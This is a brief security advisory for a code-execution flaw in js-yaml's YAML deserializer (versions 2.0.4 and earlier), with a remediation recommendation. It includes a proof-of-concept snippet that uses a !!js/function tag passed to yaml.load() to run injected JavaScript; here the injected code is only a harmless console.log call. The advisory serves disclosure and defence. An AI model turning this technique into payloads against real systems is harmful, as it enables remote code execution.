Deserialization Code Execution

Overview

Versions 2.0.4 and earlier of js-yaml are affected by a code execution vulnerability in the YAML deserializer.

Proof of Concept

const yaml = require('js-yaml');

const x = `test: !!js/function >
function f() { 
console.log(1); 
}();`

yaml.load(x);

Recommendation

Update js-yaml to version 2.0.5 or later, and ensure that all instances where the .load() method is called are updated to use .safeLoad() instead.

References

• Code Execution via YAML in JS-YAML Node.js Module
• GitHub Advisory